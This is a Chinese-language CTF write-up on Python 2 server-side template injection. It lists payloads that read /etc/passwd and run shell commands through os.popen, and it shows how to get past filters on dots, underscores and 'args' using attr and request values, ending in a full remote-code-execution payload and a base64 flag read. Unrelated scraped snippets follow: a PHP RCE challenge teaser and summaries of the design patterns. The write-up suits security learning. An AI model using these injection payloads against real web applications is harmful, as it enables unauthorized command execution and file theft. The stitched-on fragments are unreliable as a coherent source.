輸入name=1發現存在回顯,猜測為模板注入,經過測試發現過濾了. _
和一些關鍵字
py2模板注入常見payload
().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()' )
過濾了.
可以用getattr或者attr繞過
例如''.__class__
可以寫成getattr('',"__class__")
或者''|attr("__class__")
過濾了_
可以用dir(0)[0][0]
或者request['args']
或者request['values']
繞過
因為還過濾了 args所以我們用request['values']
和attr結合繞過
例如''.__class__
寫成''|attr(request['values']['x1'])
,然後post傳入x1=__class__
最終payload?name=}
然後post傳入x1=__class__&x2=__base__&x3=__subclasses__&x4=__init__&x5=__globals__&x6=__getitem__&x7=__builtins__&x8=eval&x9=__import__("os").popen('想要執行的命令').read()
發現在根目錄下又flag但是打不開,我這裡使用的base64編碼繞過的
cat /fl4g|base64
xmctf web12 考核 無引數RCE
header content type text html charset utf 8 include flag.php echo flag在 呢?highlight file file error reporting 0 if isset get exp else else else highli...
第11章 Abstract Factory模式
abstract factory模式 抽象工廠模式,為建立一組相關或相互依賴的物件提供乙個介面,而且無需指定它們的具體類。abstract factory模式 關鍵特徵 意圖 需要為特定的客戶提供物件組。解決方案 協調物件組的建立。提供一種方式,將如何執行物件例項化的規則從使用這些物件的客戶物件提取...
11 Builder Pattern 構建器模式
一 問題 在軟體系統中,有時候面臨著 乙個複雜物件 的建立工作,其通常由各個部分的子物件用一定的演算法構成。由於需求的變化,這個複雜物件的各個部分經常面臨著劇烈的變化,但是將它們組合在一起的演算法卻相對穩定。這個描述和模板方法模式很相似,但是這個模式主要解決建立工作。比如建立房子,步驟是一樣的,但是...